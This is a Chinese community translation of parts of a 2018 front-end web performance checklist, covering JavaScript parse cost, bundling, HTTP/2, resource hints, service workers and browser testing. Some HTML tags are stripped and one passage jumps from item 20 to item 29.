例如:在发展中国家,廉价的安卓手机主要运行 Chrome,尽管他们的内存和 CPU 有限。这就是 [PRPL 模式](https://developers.google.com/web/fundamentals/performance/prpl-pattern/)可以作为一个好的选择。因此,使用[设备内存客户端提示头](https://github.com/w3c/device-memory),我们将能够更可靠地针对低端设备。在写作的过程中,只有在 Blink 中才支持 header(Blink 支持[客户端提示](https://caniuse.com/#search=client%20hints))。因为设备存储也有一个在 [Chrome 中可以调用的](https://developers.google.com/web/updates/2017/12/device-memory) JavaScript API,一种选择是基于 API 的特性检测,只在不支持的情况下回退到 “符合标准”技术(**谢谢**,_Yoav!_)。 15. **解析 JavaScript 的代价很大,应保持其较小** 但我们处理单页面应用时,在你可以渲染页面时,你需要一些时间来初始化 app。寻找模块和技术加快初始化渲染时间(例如:[这里是如何调试 React 性能](https://building.calibreapp.com/debugging-react-performance-with-react-16-and-chrome-devtools-c90698a522ad),以及[如何提高 Angular 性能](https://www.youtube.com/watch?v=p9vT0W31ym8)),因为大多数性能问题来自于启动应用程序的初始解析时间。 [JavaScript 有成本](https://youtu.be/_srJ7eHS3IM?t=9m33s),但不一定是文件大小会影响性能。解析和执行时间的不同很大程度依赖设备的硬件。在一个普通的手机上(Moto G4),仅解析 1MB (未压缩的)的 JavaScript 大概需要 1.3-1.4 秒,会有 15 - 20% 的时间耗费在手机的解析上。在执行编译过程中,只是用在JavaScript准备平均需要 4 秒,在手机上绘排需要 11 秒。解释:在低端移动设备上,[解析和执行时间可以轻松提高 2 至 5 倍](https://medium.com/reloading/javascript-start-up-performance-69200f43b201)。 Ember 最近推出了一个实验,一种使用[二进制模板](https://emberjs.com/blog/2017/10/10/glimmer-progress-report.html#toc_binary-templates)巧妙的避免解析开销的方式。这些模板不需要解析。(**感谢**,_Leonardo!_) 这就是检查每个 JavaScript 依赖性的关键,工具像 [webpack-bundle-analyzer](https://www.npmjs.com/package/webpack-bundle-analyzer),[Source Map Explorer](https://github.com/danvk/source-map-explorer) 和 [Bundle Buddy](https://github.com/samccone/bundle-buddy) 可以帮助你完成这些。[度量 JavaScript 解析和编译时间](https://medium.com/reloading/javascript-start-up-performance-69200f43b201#7557)。Etsy 的 [DeviceTiming](https://github.com/danielmendel/DeviceTiming),一个小工具允许您指示 JavaScript 在任何设备或浏览器上测量解析和执行时间。重要的是,虽然大小重要,但它不是一切。解析和编译时间并不是随着脚本大小增加而[线性增加](https://medium.com/reloading/javascript-start-up-performance-69200f43b201)。
      [Webpack Bundle Analyzer](https://www.npmjs.com/package/webpack-bundle-analyzer) visualizes JavaScript dependencies. 16. **你使用预编译器么?** 使用[预编译器](https://www.lucidchart.com/techblog/2016/09/26/improving-angular-2-load-times/)来[减轻从客户端](https://www.smashingmagazine.com/2016/03/server-side-rendering-react-node-express/)到[服务端的渲染](http://redux.js.org/docs/recipes/ServerRendering.html)的开销,因此快速输出有用的结果。最后,考虑使用 [Optimize.js](https://github.com/nolanlawson/optimize-js) 更快的加载,用快速地调用的函数(尽管,它[可能不需要](https://twitter.com/tverwaes/status/809788255243739136))。 17. **你使用 tree-shaking,scope hoisting,code-splitting 么** [Tree-shaking](https://medium.com/@roman01la/dead-code-elimination-and-tree-shaking-in-javascript-build-systems-fb8512c86edf) 是一种通过只加载生产中确实被使用的代码和[在 Webpack 中](http://www.2ality.com/2015/12/webpack-tree-shaking.html)清除无用部分,来整理你构建过程的方法。使用 Webpack 3 和 Rollup,我们还可以[提升作用域](https://medium.com/webpack/brief-introduction-to-scope-hoisting-in-webpack-8435084c171f)允许工具检测 `import` 链接以及可以转换成一个内联函数,不影响代码。有了 Webpack 4,你现在可以使用 [JSON Tree Shaking](https://react-etc.net/entry/json-tree-shaking-lands-in-webpack-4-0)。[UnCSS](https://github.com/giakki/uncss) or [Helium](https://github.com/geuis/helium-css) 可以帮助你去删除未使用 CSS 样式。 而且,你想考虑学习如何[编写有效的 CSS 选择器](http://csswizardry.com/2011/09/writing-efficient-css-selectors/)以及如何[避免臃肿和开销浪费的样式](https://benfrain.com/css-performance-revisited-selectors-bloat-expensive-styles/)。感觉好像超越了这个?你也可以使用 Webpack 缩短类名和在编译时使用作用域孤立来[动态地重命名 CSS 类名](https://medium.freecodecamp.org/reducing-css-bundle-size-70-by-cutting-the-class-names-and-using-scope-isolation-625440de600b) [Code-splitting](https://webpack.github.io/docs/code-splitting.html) 是另一种 Webpack 特性,可以基于“chunks”分割你的代码然后按需加载这些代码块。并不是所有的 JavaScript 必须下载,解析和编译的。一旦在你的代码中确定了分割点,Webpack 会全权负责这些依赖关系和输出文件。在应用发送请求的时候,这样基本上确保初始的下载足够小并且实现按需加载。另外,考虑使用 [preload-webpack-plugin](https://github.com/GoogleChromeLabs/preload-webpack-plugin) 获取代码拆分的路径,然后使用 `` or `` 提示浏览器预加载它们。 在哪里定义分离点?通过追踪使用哪些 CSS/JavaScript 块和哪些没有使用。Umar Hansa [解释了](https://vimeo.com/235431630#t=11m37s)你如何可以使用 Devtools 代码覆盖率来实现。 如果你没有使用 Webpack,值得注意的是相比于 Browserify 输出结果 [Rollup](http://rollupjs.org/) 展现的更加优秀。当使用 Rollup 时,我们会想要查看 [Rollupify](https://github.com/nolanlawson/rollupify),它可以转化 ECMAScript 2015 modules 为一个大的 CommonJS module ——因为取决于打包工具和模块加载系统的选择,小的模块会有[令人惊讶的高性能开销](https://nolanlawson.com/2016/08/15/the-cost-of-small-modules/)。 ![Addy Osmani 的'默认快速:现代负载最佳实践'](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/31237c37-d7db-4faa-9849-51657e122331/babel-preset-opt.png) Addy Osmani 的从[快速默认:现代加载的最佳实践](https://speakerdeck.com/addyosmani/fast-by-default-modern-loading-best-practices)。幻灯片76。 最后,随着[现代浏览器](http://kangax.github.io/compat-table/es6/)对 ES2015 支持越来越好,考虑[使用`babel-preset-env`](http://2ality.com/2017/02/babel-preset-env.html) 只有 transpile ES2015+ 特色不支持现代浏览器的目标。然后[设置两个构建](https://gist.github.com/newyankeecodeshop/79f3e1348a09583faf62ed55b58d09d9),一个在 ES6 一个在 ES5。我们可以[使用`script type="module"`](https://matthewphillips.info/posts/loading-app-with-script-module)让具有 ES 模块浏览器支持加载文件,而老的浏览器可以加载传统的建立`script nomodule`。 对于 loadsh,[使用 `babel-plugin-lodash`](https://github.com/lodash/babel-plugin-lodash)将会加载你仅仅在源码中使用的。这样将会很大程度减轻 JavaScript 的负载。 18. **利用目标 JavaScript 引擎的优化。** 研究 JavaScript 引擎在用户基础中占主导地位,然后探索优化它们的方法。例如,当优化的 V8 引擎是用在 Blink 浏览器,Node.js 运行和电子,对每个脚本充分利用[脚本流](https://blog.chromium.org/2015/03/new-javascript-techniques-for-rapid.html)。一旦下载开始,它允许 `async` 或 `defer scripts` 在一个单独的后台线程进行解析,因此在某些情况下,提高页面加载时间达 10%。实际上,在 `` 中[使用 `<脚本延迟>`](https://medium.com/reloading/javascript-start-up-performance-69200f43b201#3498),以致于[浏览器更早地可以发现资源](https://medium.com/reloading/javascript-start-up-performance-69200f43b201#3498),然后在后台线程中解析它。 **Caveat**:_Opera Mini [不支持 defement 脚本](https://caniuse.com/#search=defer),如果你正在为印度和非洲开发,`defer` 将会被忽略,导致阻塞渲染直到脚本已经评估了_(感谢 Jeremy)!_。 [![渐进引导](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/ab06acd3-833a-4634-abf9-fc8d91939250/fmp-and-tti-opt.jpeg)](https://aerotwist.com/blog/when-everything-is-important-nothing-is/) [渐进引导](https://aerotwist.com/blog/when-everything-is-important-nothing-is/):使用服务器端呈现获得第一个快速的有意义的绘排,而且还要包含一些最小必要的 JavaScript 来保持实时交互来接近第一次的绘排。 19. **客户端渲染或者服务端渲染?** 在两种场景下,我们的目标应该是建立[渐进引导](https://aerotwist.com/blog/when-everything-is-important-nothing-is/):使用服务器端呈现获得第一个快速的有意义的绘排,而且还要包含一些最小必要的 JavaScript 来**保持实时交互来接近第一次的绘排**。如果 JavaScript 在第一次绘排没有获取到,那么浏览器可能会在解析时[锁住主线程](https://davidea.st/articles/measuring-server-side-rendering-performance-is-tricky),编译和执行最新发现的 JavaScript,因此限制[互动的网站或应用程序](https://philipwalton.com/articles/why-web-developers-need-to-care-about-interactivity/)。 为了避免这样做,总是将执行函数分离成一个个,异步任务和可能用到 `requestIdleCallback`的地方。考虑 UI 的懒加载部分使用 WebPack [动态 `import` 支持](https://developers.google.com/web/updates/2017/11/dynamic-import),避免加载,解析,和编译开销直到用户真的需要他们(**感谢** _Addy!_)。 在本质上,交互时间(TTI)告诉我们导航和交互之间的时间长度。度量是通过在初始内容呈现后的第一个五秒窗口来定义的,在这个过程中,JavaScript 任务没有操作 50ms 的。如果发生超过 50ms 的任务,寻找一个五秒的窗口重新开始。因此,浏览器首先会假定它达到了交互式,只是切换到冻结状态,最终切换回交互式。 一旦我们达到交互式,然后,我们可以按需或随时间所允许的,启动应用程序的非必需部分。不幸的是,随着 [Paul Lewis 提到的](https://aerotwist.com/blog/when-everything-is-important-nothing-is/#which-to-use-progressive-booting),框架通常没有优先出现的概念可以向开发人员展示,因此渐进式引导很难用大多数库和框架实现。如果你有时间和资源,使用该策略可以极大地改善前端性能。 20. **你限制第三方脚本的影响么?** 尽管所有的性能得到很好地优化,我们不能控制来自商业需求的第三方脚本。第三方脚本度量不受终端用户体验的影响,所以,一个单一的脚本常常会以调用令人讨厌的,长长的第三方脚本为结尾,因此,破坏了为性能专门作出的努力。为了控制和减轻这些脚本带来的性能损失,仅异步加载([可能通过 defer](https://www.twnsnd.com/posts/performant_third_party_scripts.html))和通过资源提示,如:`dns-prefetch` 或者 `preconnect` 加速他们是不足够的。 正如 Yoav Weiss 在他的[必须关注第三方脚本的通信](http://conffab.com/video/taking-back-control-over-third-party-content/)中解释的,在很多情况下,下载资源的这些脚本是动态的。页面负载之间的资源是变化的,因此我们不必知道主机是从哪下载的资源以及这些资源是什么。 这时,我们有什么选择?考虑 **通过间隔下载资源来使用 service workers**,如果在特定的时间间隔内资源没有响应,返回一个空的响应告知浏览器执行解析页面。你可以记录或者限制那些失败的第三方请求和没有执行特定标准请求。 另一个选择是建立一个 **内容安全策略(CSP)** 来限制第三方脚本的影响,比如:不允许下载音频和视频。最好的选择是通过 ` 你使用 [流响应](https://jakearchibald.com/2016/streams-ftw/) 吗?通过流,在初始导航请求中呈现的 HTML 可以充分利用浏览器的流式 HTML 解析器。 29. **你使用流响应吗?** [streams](https://streams.spec.whatwg.org/) 经常被遗忘和忽略,它提供了异步读取或写入数据块的接口,在任何给定的时间内,只有一部分数据可能在内存中可用。 基本上,只要第一个数据块可用,它们就允许原始请求的页面开始处理响应,并使用针对流进行优化的解析器逐步显示内容。 我们可以从多个来源创建一个流。例如,您可以让服务器构建一个壳子来自于缓存,内容来自网络的流,而不是提供一个空的 UI 外壳并让它填充它。 正如 Jeff Posnick [指出](https://developers.google.com/web/updates/2016/06/sw-readablestreams)的,如果您的 web 应用程序由 CMS 提供支持的,那么服务器渲染 HTML 是通过将部分模板拼接在一起来呈现的,该模型将直接转换为使用流式响应,而模板逻辑将从服务器复制而不是你的服务器。Jake Archibald 的 [The Year of Web Streams](https://jakearchibald.com/2016/streams-ftw/) 文章重点介绍了如何构建它。对于性能的提升是非常明显的。 流式传输整个 HTML 响应的一个重要优点是,在初始导航请求期间呈现的 HTML 可以充分利用浏览器的流式 HTML 解析器。 在页面加载之后插入到文档中的 HTML 块(与通过 JavaScript 填充的内容一样常见)无法利用此优化。 浏览器支持程度如何呢? [详情请看这里](https://caniuse.com/#search=streams) Chrome 52+、Firefox 57、Safari 和 Edge 支持此 API 并且服务器已经支持所有的 [现代浏览器](https://caniuse.com/#search=serviceworker). 30. **你使用 `Save-Data` 存储数据吗**? 特别是在新兴市场工作时,你可能需要考虑优化用户选择节省数据的体验。 [Save-Data 客户端提示请求头](https://developers.google.com/web/updates/2016/02/save-data) 允许我们和定制为成本和性能受限的用户定制应用程序和有效载荷。 实际上,您可以将 [高 DPI 图像的请求重写为低 DPI 图像](https://css-tricks.com/help-users-save-data/),删除网页字体和花哨的特效,关闭视频自动播放,服务器推送,甚至更改提供标记的方式。 该头部目前仅支持 Chromium,Android 版 Chrome 或 桌面设备上的 Data Saver 扩展。最后,你还可以使用 service worker 和 Network Information API 来提供基于网络类型的低/高分辨率的图像。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/front-end-performance-checklist-2018-4.md ================================================ > * 原文地址:[Front-End Performance Checklist 2018 - Part 4](https://www.smashingmagazine.com/2018/01/front-end-performance-checklist-2018-pdf-pages/) > * 原文作者:[Vitaly Friedman](https://www.smashingmagazine.com/author/vitaly-friedman) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-4.md](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-4.md) > * 译者:[ParadeTo](https://github.com/ParadeTo) > * 校对者:[MechanicianW](https://github.com/MechanicianW), [PCAaron](https://github.com/PCAaron) # 2018 前端性能优化清单 - 第 4 部分 下面是前端性能问题的概述,您可能需要考虑以确保您的响应时间是快速和平滑的。 - [2018 前端性能优化清单 - 第 1 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-1.md) - [2018 前端性能优化清单 - 第 2 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-2.md) - [2018 前端性能优化清单 - 第 3 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-3.md) - [2018 前端性能优化清单 - 第 4 部分](https://github.com/xitu/gold-miner/blob/master/TODO/front-end-performance-checklist-2018-4.md) *** 31. **你是否激活了连接以加快传输?** 使用 [资源提示](https://w3c.github.io/resource-hints) 来节约时间,如 [`dns-prefetch`](http://caniuse.com/#search=dns-prefetch) (在后台执行 DNS 查询),[`preconnect`](http://www.caniuse.com/#search=preconnect) (告诉浏览器在后台进行连接握手(DNS, TCP, TLS)),[`prefetch`](http://caniuse.com/#search=prefetch) (告诉浏览器请求一个资源) and [`preload`](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) (预先获取资源而不执行他们)。 大部分时间,我们至少会使用 `preconnect` 和 `dns-prefetch`,我们会小心使用 `prefetch` 和 `preload`;前者只能在你非常确定用户后续需要什么资源的情况下使用(类似于采购渠道)。注意,`prerender` 已被弃用,不再被支持。 Note that even with `preconnect` and `dns-prefetch`, the browser has a limit on the number of hosts it will look up/connect to in parallel, so it's a safe bet to order them based on priority (**thanks Philip!**). 请注意,即使使用 `preconnect` 和 `dns-prefetch`,浏览器也会对它将并行查找或连接的主机数量进行限制,因此最好是将它们根据优先级进行排序(**感谢 Philip!**)。 事实上,使用资源提示可能是最简单的提高性能的方法,[它确实很有效](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf)。什么时候该使用什么?Addy Osmani [已经做了解释](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf),我们应该预加载确定将在当前页面中使用的资源。预获取可能用于未来页面的资源,例如用户尚未访问的页面所需的 Webpack 包。 Addy 的关于 Chrome 中加载优先级的文章[展示了](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf) Chrome 是如何精确地解析资源提示的,因此一旦你决定哪些资源对页面渲染比较重要,你就可以给它们赋予比较高的优先级。你可以在 Chrome DevTools 网络请求表格(或者 Safari Technology Preview)中启动“priority”列来查看你的请求的优先级。 ![the priority column in DevTools](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/34f6f27f-88a9-425a-910e-39100034def3/devtools-priority-segixq.gif) DevTools 中的 "Priority" 列。图片来源于:Ben Schwarz,[重要的请求](https://css-tricks.com/the-critical-request/) 例如,由于字体通常是页面上的重要资源,所以使用 [`preload`](https://css-tricks.com/the-critical-request/#article-header-id-2) [请求浏览器下载字体](https://css-tricks.com/the-critical-request/#article-header-id-2)总是一个好主意。你也可以[动态加载 JavaScript ](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/#dynamic-loading-without-execution),从而有效的执行延迟加载。同样的,因为 `` 接收一个 `media` 的属性,你可以基于 `@media` 查询规则来有选择性地优先加载资源。 一些[必须牢记于心](https://dexecure.com/blog/http2-push-vs-http-preload/)的陷阱:preload 适用于[将资源的下载时间移到请求开始时](https://www.youtube.com/watch?v=RWLzUnESylc),但是这些缓存在内存中的预先加载的资源是绑定在所发送请求的页面上,也就意味着预先加载的请求不能被页面所共享。再者,`preload` 与 HTTP 缓存配合得也很好:如果缓存命中则不会发送网络请求。 因此,它对后发现的资源也非常有用,如:通过 background-image 加载的一幅 hero image,内联关键 CSS (或 JavaScript),并预先加载其他 CSS (或 JavaScript)。此外,只有当浏览器从服务器接收 HTML,并且前面的解析器找到了 `preload` 标签后,`preload` 标签才可以启动预加载。由于我们不等待浏览器解析 HTML 以启动请求,所以通过 HTTP 头进行预加载要快一些。[早期提示](https://tools.ietf.org/html/draft-ietf-httpbis-early-hints-05)将有助于进一步,在发送 HTML 响应标头之前启动预加载。 请注意:如果你正在使用 `preload`,`as` **必须**定义否则[什么都不会加载](https://twitter.com/yoavweiss/status/873077451143774209),还有,[预加载字体时如果没有 `crossorigin` 属性将会获取两次](https://medium.com/reloading/preload-prefetch-and-priorities-in-chrome-776165961bbf) 32. **你优化渲染性能了吗?** 使用 [CSS containment](http://caniuse.com/#search=contain) 隔离昂贵的组件 - 例如,限制浏览器样式、隐藏导航栏的布局和绘制,第三方组件的范围。确保在滚动页面时没有延迟,或者当一个元素进行动画时,持续地达到每秒 60 帧。如果这是不可能的,那么至少要使每秒帧数持续保持在 60 到 15 的范围。使用 CSS 的 [`will-change`](http://caniuse.com/#feat=will-change) 通知浏览器哪个元素的哪个属性将要发生变化。 此外,评估[运行时渲染性能](https://aerotwist.com/blog/my-performance-audit-workflow/#runtime-performance)(例如,[使用 DevTools](https://developers.google.com/web/tools/chrome-devtools/rendering-tools/))。可以通过学习 Paul Lewis 免费的[关于浏览器渲染优化的 Udacity 课程](https://www.udacity.com/course/browser-rendering-optimization--ud860)和 Emily Hayman 的文章[优化网页动画和交互](https://blog.algolia.com/performant-web-animations/)来入门。 同样,我们有 Sergey Chikuyonok 这篇文章关于如何[正确使用 GPU 动画](https://www.smashingmagazine.com/2016/12/gpu-animation-doing-it-right/)。注意:对 GPU-composited 层的更改是[代价最小的](https://blog.algolia.com/performant-web-animations/),如果你能通过“不透明”和“变形”来触发合成,那么你就是在正确的道路上。 33. **你优化过渲染体验吗?** 组件以何种顺序显示在页面上以及我们如何给浏览器提供资源固然重要,但是我们同样也不能低估了[感知性能](https://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/)的角色。这一概念涉及到等待的心理学,主要是让顾客在其他事情发生时保持忙碌。这就涉及到了[感知管理](https://www.smashingmagazine.com/2015/11/why-performance-matters-part-2-perception-management/),[优先开始](https://www.smashingmagazine.com/2015/11/why-performance-matters-part-2-perception-management/#preemptive-start),[提前完成](https://www.smashingmagazine.com/2015/11/why-performance-matters-part-2-perception-management/#early-completion)和[宽容管理](https://www.smashingmagazine.com/2015/12/performance-matters-part-3-tolerance-management/)。 这一切意味着什么?在加载资源时,我们可以尝试始终领先于客户一步,所以将很多处理放置到后台,相应会很迅速。让客户参与进来,我们可以用[骨架屏幕](https://twitter.com/lukew/status/665288063195594752)([实例演示](https://twitter.com/razvancaliman/status/734088764960690176)),而不是当没有更多优化可做时、用加载指示,添加一些动画/过渡[欺骗用户体验](https://blog.stephaniewalter.fr/en/cheating-ux-perceived-performance-and-user-experience/)。 ### HTTP/2 34. **迁移到 HTTPS,然后打开 HTTP/2.** 在谷歌提出[向更安全的网页进军](https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html)以及认为 Chrome 中所有的 HTTP 网页都是“不安全”的后,迁移到[HTTP/2]((https://http2.github.io/faq/)是不可避免的。HTTP/2[支持得非常好]it isn't going anywhere; and, in most cases, you're better off with it.(不知道啥意思,求助)。一旦运行在 HTTPS 上,你至少能够在 service workers 和 server push 方面获得[显著的性能提升](https://www.youtube.com/watch?v=RWLzUnESylc&t=1s&list=PLNYkxOF6rcIBTs2KPy1E6tIYaWoFcG3uj&index=25)。 ![HTTP/2](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/30dd1821-9800-4f01-91a8-1375d4812144/http-pages-chrome-opt.png) 最终,谷歌计划将所有 HTTP 页面标记为不安全的,并将有问题的 HTTPS 的 HTTP 安全指示器更改为红色三角形。([图片来源](https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html)) 最耗时的任务将是[迁移到 HTTPS](https://https.cio.gov/faq/),取决于你的 HTTP/1.1 用户基础有多大(即使用旧版操作系统或浏览器的用户),你将不得不为旧版的浏览器性能优化发送不同的构建版本,这需要你采用[不同的构建流程](https://rmurphey.com/blog/2015/11/25/building-for-http2)。注意:开始迁移和新的构建过程可能会很棘手,而且耗费时间。对于本文的其余部分,我假设您将要么切换到 HTTP/2,要么已经切换到 HTTP/2。 35. **正确地部署 HTTP/2.** 再次,[通过 HTTP/2 提供资源](https://www.youtube.com/watch?v=yURLTwZ3ehk)需要对现阶段正如何提供资源服务进行局部检查。您需要在打包模块和并行加载多个小模块之间找到一个良好的平衡。最终,仍然是[最好的请求就是没有请求](http://alistapart.com/article/the-best-request-is-no-request-revisited),然而我们的目标是在快速传输资源和缓存之间找到一个好的平衡点。 一方面,你可能想要避免合并所有资源,而不是把整个界面分解成许多小模块,压缩他们(作为构建过程的一部分),通过[“侦察”的方法](https://rmurphey.com/blog/2015/11/25/building-for-http2)引用和并行加载它们。一个文件的更改不需要重新下载整个样式表或 JavaScript。这样还可以[最小化解析时间](https://css- s.com/musings-on-http2-and-bundling/),并将单个页面的负荷保持在较低的水平。 另一方面,[打包仍然很重要](http://engineering.khanacademy.org/posts/js-packaging-http2.htm)。首先,**压缩将获益**。大包的压缩将从字典重用中获益,而小的单独的包则不会。有标准的工作来解决这个问题,但现在还远远不够。其次,浏览器还**没有为这种工作流优化**。例如,Chrome 将触发[进程间通信](https://www.chromium.org/developers/design-documents/inter-process-communication)(IPCs),与资源的数量成线性关系,因此页面中如果包含数以百计的资源将会造成浏览器性能损失。 ![Progressive CSS loading](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/24d7fcb0-40c3-4ada-abb3-22b8524f9b2d/progressive-css-loading-opt.png) 为了获得使用 HTTP/2 最好的效果,可以考虑使用[渐进地加载 CSS](https://jakearchibald.com/2016/link-in-body/),正如 Chrome 的 Jake Archibald 所推荐的。 你可以尝试[渐进地加载 CSS](https://jakearchibald.com/2016/link-in-body/)。显然,通过这样做,您会伤害 HTTP/1.1 用户,因此您可能需要为不同的浏览器生成和提供不同的构建流程,作为部署过程的一部分,这是事情变得稍微复杂的地方。你可以使用 [HTTP/2 连接合并](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing/),它允许您使用 HTTP/2 提供的域分片,但在实践中实现这一目标是很困难的。 怎么做呢?如果你运行在 HTTP/2 之上,发送 **6-10 个包**是个理想的折中(对旧版浏览器也不会太差)。对于你自己的网站,你可以通过实验和测量来找到最佳的折中。 36. **你的服务和 CDNs 支持 HTTP/2 吗?** 不同的服务和 CDNs 可能对 HTTP/2 的支持情况不一样。使用[TLS 够快了吗?](https://istlsfastyet.com)来查看你的可选服务,或者快速的查看你的服务的性能以及你想要其支持的特性。 ![Is TLS Fast Yet?](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/f12ff2f5-9349-46a1-9c51-7a05dc906322/istlsfastyet-opt.png) [Is TLS Fast Yet?](https://istlsfastyet.com) allows you to check your options for servers and CDNs when switching to HTTP/2. 当你想迁移到 HTTP/2 时 [TLS 够快了吗?](https://istlsfastyet.com)可以让你查看你的可选服务和 CDNs。 37. **是否启动了 OCSP stapling?** 通过[在你的服务上启动 OCSP stapling](https://www.digicert.com/enabling-ocsp-stapling.htm),你可以加速 TLS 握手。在线证书状态协议(OCSP)的提出是为了替代证书注销列表(CRL)协议。两个协议都是用于检查一个 SSL 证书是否已被撤回。但是,OCSP 协议不需要浏览器花时间下载然后在列表中搜索认证信息,因此减少了握手时间。 38. **你是否已采用了 IPv6?** 因为[ IPv4 即将用完](https://en.wikipedia.org/wiki/IPv4_address_exhaustion)以及主要的移动网络正在迅速采用 IPv6(美国已经[达到](https://www.google.com/intl/en/ipv6/statistics.html#tab=ipv6-adoption&tab=ipv6-adoption)50% 的 IPv6 使用阈值),[将你的 DNS 更新到 IPv6]((https://www.paessler.com/blog/2016/04/08/monitoring-news/ask-the-expert-current-status-on-ipv6) 以应对未来是一个好的想法。只要确保在网络上提供双栈支持,就可以让 IPv6 和 IPv4 同时运行。毕竟,IPv6 不是向后兼容的。[研究显示](https://www.cloudflare.com/ipv6/),多亏了“邻居”发现(NDP)和路由优化,IPv6 使得这些网站快了 10% 到 15%。 39. **使用了 HPACK 压缩吗?** 如果你使用 HTTP/2,请再次检查,确保您的服务针对 HTTP 响应头部[实现 HPACK 压缩](https://blog.cloudflare.com/hpack-the-silent-killer-feature-of-http-2/)以减少不必要的开销。由于 HTTP/2 服务相对较新,它们可能不完全支持该规范,HPACK 就是一个例子。可以使用 [H2spec](https://github.com/summerwind/h2spec) 这个伟大的(如果技术上很详细)工具来检查。[HPACK作品](https://www.keycdn.com/blog/http2-hpack-compression/)。 ![h2spec](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/efc02119-9155-4126-b7b9-bc83c4b16436/h2spec-example-750w-opt.png) H2spec ([View large version](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/15891f86-c883-434a-8517-209273356ee6/h2spec-example-large-opt.png)) ([Image source](https://github.com/summerwind/h2spec)) H2spec ([超大图](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/15891f86-c883-434a-8517-209273356ee6/h2spec-example-large-opt.png)) ([图片来源](https://github.com/summerwind/h2spec)) 40. **确保你的服务安全性是“防弹”的** 所有实现了 HTTP/2 的浏览器都在 TLS 上运行,因此您可能希望避免安全警告或页面上的某些元素不起作用。仔细检查你的[安全头部被正确设置](https://securityheaders.io/),[消除已知的漏洞](https://www.smashingmagazine.com/2016/01/eliminating-known-security-vulnerabilities-with-snyk/),[检查你的证书](https://www.ssllabs.com/ssltest/)。同时,确保所有外部插件和跟踪脚本通过 HTTPS 加载,不允许跨站点脚本,[HTTP 严格传输安全头](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet)和[内容安全策略头](https://content-security-policy.com/)是正确的设置。 41. **是否使用了 service workers 来缓存以及用作网络回退?** 没有什么网络性能优化能快过用户机器上的本地缓存。如果你的网站运行在 HTTPS 上,使用 “[Service Workers 的实用指南](https://github.com/lyzadanger/pragmatist-service-worker)” 在一个 service worker 中缓存静态资源并存储离线回退(甚至脱机页面)并从用户的机器中检索它们,而不是访问网络。同时,参考 Jake 的 [Offline Cookbook](https://jakearchibald.com/2014/offline-cookbook/) 和 Udacity 免费课程“[离线 Web 应用程序](https://www.udacity.com/course/offline-web-applications--ud899)”。浏览器支持?如上所述,它得到了[广泛支持](http://caniuse.com/#search=serviceworker) (Chrome、Firefox、Safari TP、Samsung Internet、Edge 17+),但不管怎么说,它都是网络。它有助于提高性能吗?[是的,它确实做到了](https://developers.google.com/web/showcase/2016/service-worker-perf)。 ### 测试和监控 42. **你是否在代理浏览器和旧版浏览器中测试过?** 在 Chrome 和 Firefox 中进行测试是不够的。看看你的网站在代理浏览器和旧版浏览器中是如何工作的。例如,UC 浏览器和 Opera Mini,[在亚洲有大量的市场份额](http://gs.statcounter.com/#mobile_browser-as-monthly-201511-201611) (达到 35%)。在你感兴趣的国家[测量平均网络速度](https://www.webworldwide.io/)从而避免在未来发现“大惊喜”。测试网络节流,并仿真一个高 DPI 设备。[BrowserStack](https://www.browserstack.com) 很不错,但也要在实际设备上测试。 [![](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/96fa3207-4fff-4b7b-bfa0-c115062d826a/demo-unit-perf-tests.gif)](https://github.com/loadimpact/k6) 